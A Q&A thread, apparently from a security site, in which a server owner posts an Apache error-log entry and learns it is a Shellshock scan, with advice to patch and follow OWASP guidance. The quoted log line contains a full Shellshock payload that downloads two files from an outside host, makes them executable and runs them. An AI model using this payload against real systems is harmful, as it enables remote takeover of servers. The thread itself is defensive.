3

In my log files I see hundreds of these registers. I have to say that the client ip changes sometimes. So there are 3 or 4 ips sending this requests...

The othersite.something (that I ommited) is always the same.

[Sat Apr 11 21:34:13 2015] [error] [client xx.xxx.xx.xxx] script not found or unable to stat: /home/Myuser/web/myweb.something/cgi-bin/php5-cli, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://othersite.something//Help1";''$b = "http://othersite.something//Help2";''$c = sys_get_temp_dir();''$d = "Help1";''$e = "Help2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'

Is some attack trying to use my server to do something in other server (othersite.something) ?
Or this attack is agains my server?

I have see that all registers appear as [errors] but I would like to stop after x failed attempts...
But it seems that fail2ban is not working properly.

Also I must say that I'm not using cgi-bin folder at all...there is nothing iniside... could I simply set permissions 640 or 600 to avoid this?

2

This attack is a variant of Shellshock, denoted by the bash code found at the beginning of the payload: () { :;} ;. The way you prevent your application from being scanning by bots is by disconnecting your server from the internet. Scans for remote code execution vulnerabilities like Shellshock are extremely common and are not going away any time soon.

A more practical approach to security is ensuring your system is fully updated, and by following secure coding practices. The OWASP top 10 is a good place to start, being vulnerable to Shellsock would be a violation of OWASP A9: using components with known vulnerabilities.

  • Thank you for the answer! I'm going to read the OWASP links. – dac777 Apr 12 '15 at 18:40

Not the answer you're looking for? Browse other questions tagged or ask your own question.